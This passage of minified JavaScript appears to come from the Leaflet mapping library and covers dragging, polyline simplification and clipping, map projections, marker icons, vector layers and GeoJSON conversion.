i){return t.addHandler(i, this), this};var re, ae={Events:Z}, he=Tt ? "touchstart mousedown" :"mousedown", ue={mousedown:"mouseup", touchstart:"touchend", pointerdown:"touchend", MSPointerDown:"touchend"}, le={mousedown:"mousemove", touchstart:"touchmove", pointerdown:"touchmove", MSPointerDown:"touchmove"}, ce=k.extend({options:{clickTolerance:3}, initialize:function (t, i, e, n){p(this, n), this._element=t, this._dragStartTarget=i || t, this._preventOutline=e}, enable:function (){this._enabled || (ki(this._dragStartTarget, he, this._onDown, this), this._enabled=!0)}, disable:function (){this._enabled && (ce._dragging===this && this.finishDrag(), Ai(this._dragStartTarget, he, this._onDown, this), this._enabled=!1, this._moved=!1)}, _onDown:function (t){if (!t._simulated && this._enabled && (this._moved=!1, !pi(this._element, "leaflet-zoom-anim") && !(ce._dragging || t.shiftKey || 1 !==t.which && 1 !==t.button && !t.touches || ((ce._dragging=this)._preventOutline && Mi(this._element), Ti(), Qt(), this._moving)))){this.fire("down");var i=t.touches ? t.touches[0] :t, e=Ei(this._element);this._startPoint=new B(i.clientX, i.clientY), this._parentScale=Si(e), ki(document, le[t.type], this._onMove, this), ki(document, ue[t.type], this._onUp, this)}}, _onMove:function (t){if (!t._simulated && this._enabled) if (t.touches && 1 < t.touches.length) this._moved=!0;else{var i=t.touches && 1===t.touches.length ? t.touches[0] :t, e=new B(i.clientX, i.clientY)._subtract(this._startPoint);(e.x || e.y) && (Math.abs(e.x) + Math.abs(e.y) < this.options.clickTolerance || (e.x /=this._parentScale.x, e.y /=this._parentScale.y, ji(t), this._moved || (this.fire("dragstart"), this._moved=!0, this._startPos=Li(this._element).subtract(e), mi(document.body, "leaflet-dragging"), this._lastTarget=t.target || t.srcElement, window.SVGElementInstance && this._lastTarget instanceof SVGElementInstance && (this._lastTarget=this._lastTarget.correspondingUseElement), mi(this._lastTarget, "leaflet-drag-target")), this._newPos=this._startPos.add(e), this._moving=!0, C(this._animRequest), this._lastEvent=t, this._animRequest=M(this._updatePosition, this, !0)))}}, _updatePosition:function (){var t={originalEvent:this._lastEvent};this.fire("predrag", t), Pi(this._element, this._newPos), this.fire("drag", t)}, _onUp:function (t){!t._simulated && this._enabled && this.finishDrag()}, finishDrag:function (){for (var t in fi(document.body, "leaflet-dragging"), this._lastTarget && (fi(this._lastTarget, "leaflet-drag-target"), this._lastTarget=null), le) Ai(document, le[t], this._onMove, this), Ai(document, ue[t], this._onUp, this);zi(), ti(), this._moved && this._moving && (C(this._animRequest), this.fire("dragend",{distance:this._newPos.distanceTo(this._startPos)})), this._moving=!1, ce._dragging=!1}});function _e(t, i){if (!i || !t.length) return t.slice();var e=i * i;return t=function (t, i){var e=t.length, n=new (typeof Uint8Array !=void 0 + "" ? Uint8Array :Array)(e);n[0]=n[e - 1]=1, function t(i, e, n, o, s){var r, a, h, u=0;for (a=o + 1;a <=s - 1;a++)h=ge(i[a], i[o], i[s], !0), u < h && (r=a, u=h);n < u && (e[r]=1, t(i, e, n, o, r), t(i, e, n, r, s))}(t, n, i, 0, e - 1);var o, s=[];for (o=0;o < e;o++)n[o] && s.push(t[o]);return s}(t=function (t, i){for (var e=[t[0]], n=1, o=0, s=t.length;n < s;n++)r=t[n], a=t[o], void 0, h=a.x - r.x, u=a.y - r.y, i < h * h + u * u && (e.push(t[n]), o=n);var r, a, h, u;o < s - 1 && e.push(t[s - 1]);return e}(t, e), e)}function de(t, i, e){return Math.sqrt(ge(t, i, e, !0))}function pe(t, i, e, n, o){var s, r, a, h=n ? re :fe(t, e), u=fe(i, e);for (re=u;;){if (!(h | u)) return [t, i];if (h & u) return !1;a=fe(r=me(t, i, s=h || u, e, o), e), s===h ? (t=r, h=a) :(i=r, u=a)}}function me(t, i, e, n, o){var s, r, a=i.x - t.x, h=i.y - t.y, u=n.min, l=n.max;return 8 & e ? (s=t.x + a * (l.y - t.y) / h, r=l.y) :4 & e ? (s=t.x + a * (u.y - t.y) / h, r=u.y) :2 & e ? (s=l.x, r=t.y + h * (l.x - t.x) / a) :1 & e && (s=u.x, r=t.y + h * (u.x - t.x) / a), new B(s, r, o)}function fe(t, i){var e=0;return t.x < i.min.x ? e |=1 :t.x > i.max.x && (e |=2), t.y < i.min.y ? e |=4 :t.y > i.max.y && (e |=8), e}function ge(t, i, e, n){var o, s=i.x, r=i.y, a=e.x - s, h=e.y - r, u=a * a + h * h;return 0 < u && (1 < (o=((t.x - s) * a + (t.y - r) * h) / u) ? (s=e.x, r=e.y) :0 < o && (s +=a * o, r +=h * o)), a=t.x - s, h=t.y - r, n ? a * a + h * h :new B(s, r)}function ve(t){return !v(t[0]) || "object" !=typeof t[0][0] && void 0 !==t[0][0]}function ye(t){return console.warn("Deprecated use of _flat, please use L.LineUtil.isFlat instead."), ve(t)}var xe=(Object.freeze || Object)({simplify:_e, pointToSegmentDistance:de, closestPointOnSegment:function (t, i, e){return ge(t, i, e)}, clipSegment:pe, _getEdgeIntersection:me, _getBitCode:fe, _sqClosestPointOnSegment:ge, isFlat:ve, _flat:ye});function we(t, i, e){var n, o, s, r, a, h, u, l, c, _=[1, 4, 2, 8];for (o=0, u=t.length;o < u;o++)t[o]._code=fe(t[o], i);for (r=0;r < 4;r++){for (l=_[r], n=[], o=0, s=(u=t.length) - 1;o < u;s=o++)a=t[o], h=t[s], a._code & l ? h._code & l || ((c=me(h, a, l, i, e))._code=fe(c, i), n.push(c)) :(h._code & l && ((c=me(h, a, l, i, e))._code=fe(c, i), n.push(c)), n.push(a));t=n}return t}var Pe, Le=(Object.freeze || Object)({clipPolygon:we}), be={project:function (t){return new B(t.lng, t.lat)}, unproject:function (t){return new j(t.y, t.x)}, bounds:new O([-180, -90], [180, 90])}, Te={R:6378137, R_MINOR:6356752.314245179, bounds:new O([-20037508.34279, -15496570.73972], [20037508.34279, 18764656.23138]), project:function (t){var i=Math.PI / 180, e=this.R, n=t.lat * i, o=this.R_MINOR / e, s=Math.sqrt(1 - o * o), r=s * Math.sin(n), a=Math.tan(Math.PI / 4 - n / 2) / Math.pow((1 - r) / (1 + r), s / 2);return n=-e * Math.log(Math.max(a, 1e-10)), new B(t.lng * i * e, n)}, unproject:function (t){for (var i, e=180 / Math.PI, n=this.R, o=this.R_MINOR / n, s=Math.sqrt(1 - o * o), r=Math.exp(-t.y / n), a=Math.PI / 2 - 2 * Math.atan(r), h=0, u=.1;h < 15 && 1e-7 < Math.abs(u);h++)i=s * Math.sin(a), i=Math.pow((1 - i) / (1 + i), s / 2), a +=u=Math.PI / 2 - 2 * Math.atan(r * i) - a;return new j(a * e, t.x * e / n)}}, ze=(Object.freeze || Object)({LonLat:be, Mercator:Te, SphericalMercator:q}), Me=h({}, U,{code:"EPSG:3395", projection:Te, transformation:(Pe=.5 / (Math.PI * Te.R), K(Pe, .5, -Pe, .5))}), Ce=h({}, U,{code:"EPSG:4326", projection:be, transformation:K(1 / 180, 1, -1 / 180, .5)}), Ee=h({}, F,{projection:be, transformation:K(1, 0, -1, 0), scale:function (t){return Math.pow(2, t)}, zoom:function (t){return Math.log(t) / Math.LN2}, distance:function (t, i){var e=i.lng - t.lng, n=i.lat - t.lat;return Math.sqrt(e * e + n * n)}, infinite:!0});F.Earth=U, F.EPSG3395=Me, F.EPSG3857=X, F.EPSG900913=J, F.EPSG4326=Ce, F.Simple=Ee;var Se=k.extend({options:{pane:"overlayPane", attribution:null, bubblingMouseEvents:!0}, addTo:function (t){return t.addLayer(this), this}, remove:function (){return this.removeFrom(this._map || this._mapToAdd)}, removeFrom:function (t){return t && t.removeLayer(this), this}, getPane:function (t){return this._map.getPane(t ? this.options[t] || t :this.options.pane)}, addInteractiveTarget:function (t){return this._map._targets[u(t)]=this}, removeInteractiveTarget:function (t){return delete this._map._targets[u(t)], this}, getAttribution:function (){return this.options.attribution}, _layerAdd:function (t){var i=t.target;if (i.hasLayer(this)){if (this._map=i, this._zoomAnimated=i._zoomAnimated, this.getEvents){var e=this.getEvents();i.on(e, this), this.once("remove", function (){i.off(e, this)}, this)}this.onAdd(i), this.getAttribution && i.attributionControl && i.attributionControl.addAttribution(this.getAttribution()), this.fire("add"), i.fire("layeradd",{layer:this})}}});$i.include({addLayer:function (t){if (!t._layerAdd) throw new Error("The provided object is not a Layer.");var i=u(t);return this._layers[i] || ((this._layers[i]=t)._mapToAdd=this, t.beforeAdd && t.beforeAdd(this), this.whenReady(t._layerAdd, t)), this}, removeLayer:function (t){var i=u(t);return this._layers[i] && (this._loaded && t.onRemove(this), t.getAttribution && this.attributionControl && this.attributionControl.removeAttribution(t.getAttribution()), delete this._layers[i], this._loaded && (this.fire("layerremove",{layer:t}), t.fire("remove")), t._map=t._mapToAdd=null), this}, hasLayer:function (t){return !!t && u(t) in this._layers}, eachLayer:function (t, i){for (var e in this._layers) t.call(i, this._layers[e]);return this}, _addLayers:function (t){for (var i=0, e=(t=t ? v(t) ? t :[t] :[]).length;i < e;i++)this.addLayer(t[i])}, _addZoomLimit:function (t){!isNaN(t.options.maxZoom) && isNaN(t.options.minZoom) || (this._zoomBoundLayers[u(t)]=t, this._updateZoomLevels())}, _removeZoomLimit:function (t){var i=u(t);this._zoomBoundLayers[i] && (delete this._zoomBoundLayers[i], this._updateZoomLevels())}, _updateZoomLevels:function (){var t=1 / 0, i=-1 / 0, e=this._getZoomSpan();for (var n in this._zoomBoundLayers){var o=this._zoomBoundLayers[n].options;t=void 0===o.minZoom ? t :Math.min(t, o.minZoom), i=void 0===o.maxZoom ? i :Math.max(i, o.maxZoom)}this._layersMaxZoom=i===-1 / 0 ? void 0 :i, this._layersMinZoom=t===1 / 0 ? void 0 :t, e !==this._getZoomSpan() && this.fire("zoomlevelschange"), void 0===this.options.maxZoom && this._layersMaxZoom && this.getZoom() > this._layersMaxZoom && this.setZoom(this._layersMaxZoom), void 0===this.options.minZoom && this._layersMinZoom && this.getZoom() < this._layersMinZoom && this.setZoom(this._layersMinZoom)}});var Ze=Se.extend({initialize:function (t, i){var e, n;if (p(this, i), this._layers={}, t) for (e=0, n=t.length;e < n;e++)this.addLayer(t[e])}, addLayer:function (t){var i=this.getLayerId(t);return this._layers[i]=t, this._map && this._map.addLayer(t), this}, removeLayer:function (t){var i=t in this._layers ? t :this.getLayerId(t);return this._map && this._layers[i] && this._map.removeLayer(this._layers[i]), delete this._layers[i], this}, hasLayer:function (t){return !!t && (t in this._layers || this.getLayerId(t) in this._layers)}, clearLayers:function (){return this.eachLayer(this.removeLayer, this)}, invoke:function (t){var i, e, n=Array.prototype.slice.call(arguments, 1);for (i in this._layers) (e=this._layers[i])[t] && e[t].apply(e, n);return this}, onAdd:function (t){this.eachLayer(t.addLayer, t)}, onRemove:function (t){this.eachLayer(t.removeLayer, t)}, eachLayer:function (t, i){for (var e in this._layers) t.call(i, this._layers[e]);return this}, getLayer:function (t){return this._layers[t]}, getLayers:function (){var t=[];return this.eachLayer(t.push, t), t}, setZIndex:function (t){return this.invoke("setZIndex", t)}, getLayerId:function (t){return u(t)}}), ke=Ze.extend({addLayer:function (t){return this.hasLayer(t) ? this :(t.addEventParent(this), Ze.prototype.addLayer.call(this, t), this.fire("layeradd",{layer:t}))}, removeLayer:function (t){return this.hasLayer(t) ? (t in this._layers && (t=this._layers[t]), t.removeEventParent(this), Ze.prototype.removeLayer.call(this, t), this.fire("layerremove",{layer:t})) :this}, setStyle:function (t){return this.invoke("setStyle", t)}, bringToFront:function (){return this.invoke("bringToFront")}, bringToBack:function (){return this.invoke("bringToBack")}, getBounds:function (){var t=new N;for (var i in this._layers){var e=this._layers[i];t.extend(e.getBounds ? e.getBounds() :e.getLatLng())}return t}}), Be=S.extend({options:{popupAnchor:[0, 0], tooltipAnchor:[0, 0]}, initialize:function (t){p(this, t)}, createIcon:function (t){return this._createIcon("icon", t)}, createShadow:function (t){return this._createIcon("shadow", t)}, _createIcon:function (t, i){var e=this._getIconUrl(t);if (!e){if ("icon"===t) throw new Error("iconUrl not set in Icon options (see the docs).");return null}var n=this._createImg(e, i && "IMG"===i.tagName ? i :null);return this._setIconStyles(n, t), n}, _setIconStyles:function (t, i){var e=this.options, n=e[i + "Size"];"number"==typeof n && (n=[n, n]);var o=I(n), s=I("shadow"===i && e.shadowAnchor || e.iconAnchor || o && o.divideBy(2, !0));t.className="leaflet-marker-" + i + " " + (e.className || ""), s && (t.style.marginLeft=-s.x + "px", t.style.marginTop=-s.y + "px"), o && (t.style.width=o.x + "px", t.style.height=o.y + "px")}, _createImg:function (t, i){return (i=i || document.createElement("img")).src=t, i}, _getIconUrl:function (t){return Ct && this.options[t + "RetinaUrl"] || this.options[t + "Url"]}});var Ae=Be.extend({options:{iconUrl:"marker-icon.png", iconRetinaUrl:"marker-icon-2x.png", shadowUrl:"marker-shadow.png", iconSize:[25, 41], iconAnchor:[12, 41], popupAnchor:[1, -34], tooltipAnchor:[16, -28], shadowSize:[41, 41]}, _getIconUrl:function (t){return Ae.imagePath || (Ae.imagePath=this._detectIconPath()), (this.options.imagePath || Ae.imagePath) + Be.prototype._getIconUrl.call(this, t)}, _detectIconPath:function (){var t=ui("div", "leaflet-default-icon-path", document.body), i=hi(t, "background-image") || hi(t, "backgroundImage");return document.body.removeChild(t), i=null===i || 0 !==i.indexOf("url") ? "" :i.replace(/^url\(["']?/, "").replace(/marker-icon\.png["']?\)$/, "")}}), Ie=se.extend({initialize:function (t){this._marker=t}, addHooks:function (){var t=this._marker._icon;this._draggable || (this._draggable=new ce(t, t, !0)), this._draggable.on({dragstart:this._onDragStart, predrag:this._onPreDrag, drag:this._onDrag, dragend:this._onDragEnd}, this).enable(), mi(t, "leaflet-marker-draggable")}, removeHooks:function (){this._draggable.off({dragstart:this._onDragStart, predrag:this._onPreDrag, drag:this._onDrag, dragend:this._onDragEnd}, this).disable(), this._marker._icon && fi(this._marker._icon, "leaflet-marker-draggable")}, moved:function (){return this._draggable && this._draggable._moved}, _adjustPan:function (t){var i=this._marker, e=i._map, n=this._marker.options.autoPanSpeed, o=this._marker.options.autoPanPadding, s=Li(i._icon), r=e.getPixelBounds(), a=e.getPixelOrigin(), h=R(r.min._subtract(a).add(o), r.max._subtract(a).subtract(o));if (!h.contains(s)){var u=I((Math.max(h.max.x, s.x) - h.max.x) / (r.max.x - h.max.x) - (Math.min(h.min.x, s.x) - h.min.x) / (r.min.x - h.min.x), (Math.max(h.max.y, s.y) - h.max.y) / (r.max.y - h.max.y) - (Math.min(h.min.y, s.y) - h.min.y) / (r.min.y - h.min.y)).multiplyBy(n);e.panBy(u,{animate:!1}), this._draggable._newPos._add(u), this._draggable._startPos._add(u), Pi(i._icon, this._draggable._newPos), this._onDrag(t), this._panRequest=M(this._adjustPan.bind(this, t))}}, _onDragStart:function (){this._oldLatLng=this._marker.getLatLng(), this._marker.closePopup().fire("movestart").fire("dragstart")}, _onPreDrag:function (t){this._marker.options.autoPan && (C(this._panRequest), this._panRequest=M(this._adjustPan.bind(this, t)))}, _onDrag:function (t){var i=this._marker, e=i._shadow, n=Li(i._icon), o=i._map.layerPointToLatLng(n);e && Pi(e, n), i._latlng=o, t.latlng=o, t.oldLatLng=this._oldLatLng, i.fire("move", t).fire("drag", t)}, _onDragEnd:function (t){C(this._panRequest), delete this._oldLatLng, this._marker.fire("moveend").fire("dragend", t)}}), Oe=Se.extend({options:{icon:new Ae, interactive:!0, keyboard:!0, title:"", alt:"", zIndexOffset:0, opacity:1, riseOnHover:!1, riseOffset:250, pane:"markerPane", shadowPane:"shadowPane", bubblingMouseEvents:!1, draggable:!1, autoPan:!1, autoPanPadding:[50, 50], autoPanSpeed:10}, initialize:function (t, i){p(this, i), this._latlng=W(t)}, onAdd:function (t){this._zoomAnimated=this._zoomAnimated && t.options.markerZoomAnimation, this._zoomAnimated && t.on("zoomanim", this._animateZoom, this), this._initIcon(), this.update()}, onRemove:function (t){this.dragging && this.dragging.enabled() && (this.options.draggable=!0, this.dragging.removeHooks()), delete this.dragging, this._zoomAnimated && t.off("zoomanim", this._animateZoom, this), this._removeIcon(), this._removeShadow()}, getEvents:function (){return{zoom:this.update, viewreset:this.update}}, getLatLng:function (){return this._latlng}, setLatLng:function (t){var i=this._latlng;return this._latlng=W(t), this.update(), this.fire("move",{oldLatLng:i, latlng:this._latlng})}, setZIndexOffset:function (t){return this.options.zIndexOffset=t, this.update()}, getIcon:function (){return this.options.icon}, setIcon:function (t){return this.options.icon=t, this._map && (this._initIcon(), this.update()), this._popup && this.bindPopup(this._popup, this._popup.options), this}, getElement:function (){return this._icon}, update:function (){if (this._icon && this._map){var t=this._map.latLngToLayerPoint(this._latlng).round();this._setPos(t)}return this}, _initIcon:function (){var t=this.options, i="leaflet-zoom-" + (this._zoomAnimated ? "animated" :"hide"), e=t.icon.createIcon(this._icon), n=!1;e !==this._icon && (this._icon && this._removeIcon(), n=!0, t.title && (e.title=t.title), "IMG"===e.tagName && (e.alt=t.alt || "")), mi(e, i), t.keyboard && (e.tabIndex="0"), this._icon=e, t.riseOnHover && this.on({mouseover:this._bringToFront, mouseout:this._resetZIndex});var o=t.icon.createShadow(this._shadow), s=!1;o !==this._shadow && (this._removeShadow(), s=!0), o && (mi(o, i), o.alt=""), this._shadow=o, t.opacity < 1 && this._updateOpacity(), n && this.getPane().appendChild(this._icon), this._initInteraction(), o && s && this.getPane(t.shadowPane).appendChild(this._shadow)}, _removeIcon:function (){this.options.riseOnHover && this.off({mouseover:this._bringToFront, mouseout:this._resetZIndex}), li(this._icon), this.removeInteractiveTarget(this._icon), this._icon=null}, _removeShadow:function (){this._shadow && li(this._shadow), this._shadow=null}, _setPos:function (t){this._icon && Pi(this._icon, t), this._shadow && Pi(this._shadow, t), this._zIndex=t.y + this.options.zIndexOffset, this._resetZIndex()}, _updateZIndex:function (t){this._icon && (this._icon.style.zIndex=this._zIndex + t)}, _animateZoom:function (t){var i=this._map._latLngToNewLayerPoint(this._latlng, t.zoom, t.center).round();this._setPos(i)}, _initInteraction:function (){if (this.options.interactive && (mi(this._icon, "leaflet-interactive"), this.addInteractiveTarget(this._icon), Ie)){var t=this.options.draggable;this.dragging && (t=this.dragging.enabled(), this.dragging.disable()), this.dragging=new Ie(this), t && this.dragging.enable()}}, setOpacity:function (t){return this.options.opacity=t, this._map && this._updateOpacity(), this}, _updateOpacity:function (){var t=this.options.opacity;this._icon && yi(this._icon, t), this._shadow && yi(this._shadow, t)}, _bringToFront:function (){this._updateZIndex(this.options.riseOffset)}, _resetZIndex:function (){this._updateZIndex(0)}, _getPopupAnchor:function (){return this.options.icon.options.popupAnchor}, _getTooltipAnchor:function (){return this.options.icon.options.tooltipAnchor}});var Re=Se.extend({options:{stroke:!0, color:"#3388ff", weight:3, opacity:1, lineCap:"round", lineJoin:"round", dashArray:null, dashOffset:null, fill:!1, fillColor:null, fillOpacity:.2, fillRule:"evenodd", interactive:!0, bubblingMouseEvents:!0}, beforeAdd:function (t){this._renderer=t.getRenderer(this)}, onAdd:function (){this._renderer._initPath(this), this._reset(), this._renderer._addPath(this)}, onRemove:function (){this._renderer._removePath(this)}, redraw:function (){return this._map && this._renderer._updatePath(this), this}, setStyle:function (t){return p(this, t), this._renderer && (this._renderer._updateStyle(this), this.options.stroke && t && t.hasOwnProperty("weight") && this._updateBounds()), this}, bringToFront:function (){return this._renderer && this._renderer._bringToFront(this), this}, bringToBack:function (){return this._renderer && this._renderer._bringToBack(this), this}, getElement:function (){return this._path}, _reset:function (){this._project(), this._update()}, _clickTolerance:function (){return (this.options.stroke ? this.options.weight / 2 :0) + this._renderer.options.tolerance}}), Ne=Re.extend({options:{fill:!0, radius:10}, initialize:function (t, i){p(this, i), this._latlng=W(t), this._radius=this.options.radius}, setLatLng:function (t){var i=this._latlng;return this._latlng=W(t), this.redraw(), this.fire("move",{oldLatLng:i, latlng:this._latlng})}, getLatLng:function (){return this._latlng}, setRadius:function (t){return this.options.radius=this._radius=t, this.redraw()}, getRadius:function (){return this._radius}, setStyle:function (t){var i=t && t.radius || this._radius;return Re.prototype.setStyle.call(this, t), this.setRadius(i), this}, _project:function (){this._point=this._map.latLngToLayerPoint(this._latlng), this._updateBounds()}, _updateBounds:function (){var t=this._radius, i=this._radiusY || t, e=this._clickTolerance(), n=[t + e, i + e];this._pxBounds=new O(this._point.subtract(n), this._point.add(n))}, _update:function (){this._map && this._updatePath()}, _updatePath:function (){this._renderer._updateCircle(this)}, _empty:function (){return this._radius && !this._renderer._bounds.intersects(this._pxBounds)}, _containsPoint:function (t){return t.distanceTo(this._point) <=this._radius + this._clickTolerance()}});var De=Ne.extend({initialize:function (t, i, e){if ("number"==typeof i && (i=h({}, e,{radius:i})), p(this, i), this._latlng=W(t), isNaN(this.options.radius)) throw new Error("Circle radius cannot be NaN");this._mRadius=this.options.radius}, setRadius:function (t){return this._mRadius=t, this.redraw()}, getRadius:function (){return this._mRadius}, getBounds:function (){var t=[this._radius, this._radiusY || this._radius];return new N(this._map.layerPointToLatLng(this._point.subtract(t)), this._map.layerPointToLatLng(this._point.add(t)))}, setStyle:Re.prototype.setStyle, _project:function (){var t=this._latlng.lng, i=this._latlng.lat, e=this._map, n=e.options.crs;if (n.distance===U.distance){var o=Math.PI / 180, s=this._mRadius / U.R / o, r=e.project([i + s, t]), a=e.project([i - s, t]), h=r.add(a).divideBy(2), u=e.unproject(h).lat, l=Math.acos((Math.cos(s * o) - Math.sin(i * o) * Math.sin(u * o)) / (Math.cos(i * o) * Math.cos(u * o))) / o;!isNaN(l) && 0 !==l || (l=s / Math.cos(Math.PI / 180 * i)), this._point=h.subtract(e.getPixelOrigin()), this._radius=isNaN(l) ? 0 :h.x - e.project([u, t - l]).x, this._radiusY=h.y - r.y}else{var c=n.unproject(n.project(this._latlng).subtract([this._mRadius, 0]));this._point=e.latLngToLayerPoint(this._latlng), this._radius=this._point.x - e.latLngToLayerPoint(c).x}this._updateBounds()}});var je=Re.extend({options:{smoothFactor:1, noClip:!1}, initialize:function (t, i){p(this, i), this._setLatLngs(t)}, getLatLngs:function (){return this._latlngs}, setLatLngs:function (t){return this._setLatLngs(t), this.redraw()}, isEmpty:function (){return !this._latlngs.length}, closestLayerPoint:function (t){for (var i, e, n=1 / 0, o=null, s=ge, r=0, a=this._parts.length;r < a;r++)for (var h=this._parts[r], u=1, l=h.length;u < l;u++){var c=s(t, i=h[u - 1], e=h[u], !0);c < n && (n=c, o=s(t, i, e))}return o && (o.distance=Math.sqrt(n)), o}, getCenter:function (){if (!this._map) throw new Error("Must add layer to map before using getCenter()");var t, i, e, n, o, s, r, a=this._rings[0], h=a.length;if (!h) return null;for (i=t=0;t < h - 1;t++)i +=a[t].distanceTo(a[t + 1]) / 2;if (0===i) return this._map.layerPointToLatLng(a[0]);for (n=t=0;t < h - 1;t++)if (o=a[t], s=a[t + 1], i < (n +=e=o.distanceTo(s))) return r=(n - i) / e, this._map.layerPointToLatLng([s.x - r * (s.x - o.x), s.y - r * (s.y - o.y)])}, getBounds:function (){return this._bounds}, addLatLng:function (t, i){return i=i || this._defaultShape(), t=W(t), i.push(t), this._bounds.extend(t), this.redraw()}, _setLatLngs:function (t){this._bounds=new N, this._latlngs=this._convertLatLngs(t)}, _defaultShape:function (){return ve(this._latlngs) ? this._latlngs :this._latlngs[0]}, _convertLatLngs:function (t){for (var i=[], e=ve(t), n=0, o=t.length;n < o;n++)e ? (i[n]=W(t[n]), this._bounds.extend(i[n])) :i[n]=this._convertLatLngs(t[n]);return i}, _project:function (){var t=new O;this._rings=[], this._projectLatlngs(this._latlngs, this._rings, t), this._bounds.isValid() && t.isValid() && (this._rawPxBounds=t, this._updateBounds())}, _updateBounds:function (){var t=this._clickTolerance(), i=new B(t, t);this._pxBounds=new O([this._rawPxBounds.min.subtract(i), this._rawPxBounds.max.add(i)])}, _projectLatlngs:function (t, i, e){var n, o, s=t[0] instanceof j, r=t.length;if (s){for (o=[], n=0;n < r;n++)o[n]=this._map.latLngToLayerPoint(t[n]), e.extend(o[n]);i.push(o)}else for (n=0;n < r;n++)this._projectLatlngs(t[n], i, e)}, _clipPoints:function (){var t=this._renderer._bounds;if (this._parts=[], this._pxBounds && this._pxBounds.intersects(t)) if (this.options.noClip) this._parts=this._rings;else{var i, e, n, o, s, r, a, h=this._parts;for (n=i=0, o=this._rings.length;i < o;i++)for (e=0, s=(a=this._rings[i]).length;e < s - 1;e++)(r=pe(a[e], a[e + 1], t, e, !0)) && (h[n]=h[n] || [], h[n].push(r[0]), r[1]===a[e + 1] && e !==s - 2 || (h[n].push(r[1]), n++))}}, _simplifyPoints:function (){for (var t=this._parts, i=this.options.smoothFactor, e=0, n=t.length;e < n;e++)t[e]=_e(t[e], i)}, _update:function (){this._map && (this._clipPoints(), this._simplifyPoints(), this._updatePath())}, _updatePath:function (){this._renderer._updatePoly(this)}, _containsPoint:function (t, i){var e, n, o, s, r, a, h=this._clickTolerance();if (!this._pxBounds || !this._pxBounds.contains(t)) return !1;for (e=0, s=this._parts.length;e < s;e++)for (n=0, o=(r=(a=this._parts[e]).length) - 1;n < r;o=n++)if ((i || 0 !==n) && de(t, a[o], a[n]) <=h) return !0;return !1}});je._flat=ye;var We=je.extend({options:{fill:!0}, isEmpty:function (){return !this._latlngs.length || !this._latlngs[0].length}, getCenter:function (){if (!this._map) throw new Error("Must add layer to map before using getCenter()");var t, i, e, n, o, s, r, a, h, u=this._rings[0], l=u.length;if (!l) return null;for (s=r=a=0, t=0, i=l - 1;t < l;i=t++)e=u[t], n=u[i], o=e.y * n.x - n.y * e.x, r +=(e.x + n.x) * o, a +=(e.y + n.y) * o, s +=3 * o;return h=0===s ? u[0] :[r / s, a / s], this._map.layerPointToLatLng(h)}, _convertLatLngs:function (t){var i=je.prototype._convertLatLngs.call(this, t), e=i.length;return 2 <=e && i[0] instanceof j && i[0].equals(i[e - 1]) && i.pop(), i}, _setLatLngs:function (t){je.prototype._setLatLngs.call(this, t), ve(this._latlngs) && (this._latlngs=[this._latlngs])}, _defaultShape:function (){return ve(this._latlngs[0]) ? this._latlngs[0] :this._latlngs[0][0]}, _clipPoints:function (){var t=this._renderer._bounds, i=this.options.weight, e=new B(i, i);if (t=new O(t.min.subtract(e), t.max.add(e)), this._parts=[], this._pxBounds && this._pxBounds.intersects(t)) if (this.options.noClip) this._parts=this._rings;else for (var n, o=0, s=this._rings.length;o < s;o++)(n=we(this._rings[o], t, !0)).length && this._parts.push(n)}, _updatePath:function (){this._renderer._updatePoly(this, !0)}, _containsPoint:function (t){var i, e, n, o, s, r, a, h, u=!1;if (!this._pxBounds || !this._pxBounds.contains(t)) return !1;for (o=0, a=this._parts.length;o < a;o++)for (s=0, r=(h=(i=this._parts[o]).length) - 1;s < h;r=s++)e=i[s], n=i[r], e.y > t.y !=n.y > t.y && t.x < (n.x - e.x) * (t.y - e.y) / (n.y - e.y) + e.x && (u=!u);return u || je.prototype._containsPoint.call(this, t, !0)}});var He=ke.extend({initialize:function (t, i){p(this, i), this._layers={}, t && this.addData(t)}, addData:function (t){var i, e, n, o=v(t) ? t :t.features;if (o){for (i=0, e=o.length;i < e;i++)((n=o[i]).geometries || n.geometry || n.features || n.coordinates) && this.addData(n);return this}var s=this.options;if (s.filter && !s.filter(t)) return this;var r=Fe(t, s);return r ? (r.feature=Xe(t), r.defaultOptions=r.options, this.resetStyle(r), s.onEachFeature && s.onEachFeature(t, r), this.addLayer(r)) :this}, resetStyle:function (t){return void 0===t ? this.eachLayer(this.resetStyle, this) :(t.options=h({}, t.defaultOptions), this._setLayerStyle(t, this.options.style), this)}, setStyle:function (i){return this.eachLayer(function (t){this._setLayerStyle(t, i)}, this)}, _setLayerStyle:function (t, i){t.setStyle && ("function"==typeof i && (i=i(t.feature)), t.setStyle(i))}});function Fe(t, i){var e, n, o, s, r="Feature"===t.type ? t.geometry :t, a=r ? r.coordinates :null, h=[], u=i && i.pointToLayer, l=i && i.coordsToLatLng || Ve;if (!a && !r) return null;switch (r.type){case "Point":return Ue(u, t, e=l(a), i);case "MultiPoint":for (o=0, s=a.length;o < s;o++)e=l(a[o]), h.push(Ue(u, t, e, i));return new ke(h);case "LineString":case "MultiLineString":return n=qe(a, "LineString"===r.type ? 0 :1, l), new je(n, i);case "Polygon":case "MultiPolygon":return n=qe(a, "Polygon"===r.type ? 1 :2, l), new We(n, i);case "GeometryCollection":for (o=0, s=r.geometries.length;o < s;o++){var c=Fe({geometry:r.geometries[o], type:"Feature", properties:t.properties}, i);c && h.push(c)}return new ke(h);default:throw new Error("Invalid GeoJSON object.")}}function Ue(t, i, e, n){return t ? t(i, e) :new Oe(e, n && n.markersInheritOptions && n)}function Ve(t){return new j(t[1], t[0], t[2])}function qe(t, i, e){for (var n, o=[], s=0, r=t.length;s < r;s++)n=i ? qe(t[s], i - 1, e) :(e || Ve)(t[s]), o.push(n);return o}function Ge(t, i){return i="number"==typeof i ? i :6, void 0 !==t.alt ? [c(t.lng, i), c(t.lat, i), c(t.alt, i)] :[c(t.lng, i), c(t.lat, i)]}function Ke(t, i, e, n){for (var o=[], s=0, r=t.length;s < r;s++)o.push(i ? Ke(t[s], i - 1, e, n) :Ge(t[s], n));return !i && e && o.push(o[0]), o}function Ye(t, i){return t.feature ? h({}, t.feature,{geometry:i}) :Xe(i)}function Xe(t){return "Feature"===t.type || "FeatureCollection"===t.type ? t :{type:"Feature", properties:{}, geometry:t}}var Je={toGeoJSON:function (t){return Ye(this,{type:"Point", coordinates:Ge(this.getLatLng(), t)})}};function $e(t, i){return new He(t, i)}Oe.include(Je), De.include(Je), Ne.include(Je), je.include({toGeoJSON:function (t){var i=!ve(this._latlngs);return Ye(this,{type:(i ? "Multi" :"") + "LineString", coordinates:Ke(this._latlngs, i ? 1 :0, !1, t)})}}), We.include({toGeoJSON:function (t){var i=!ve(this._latlngs), e=i && 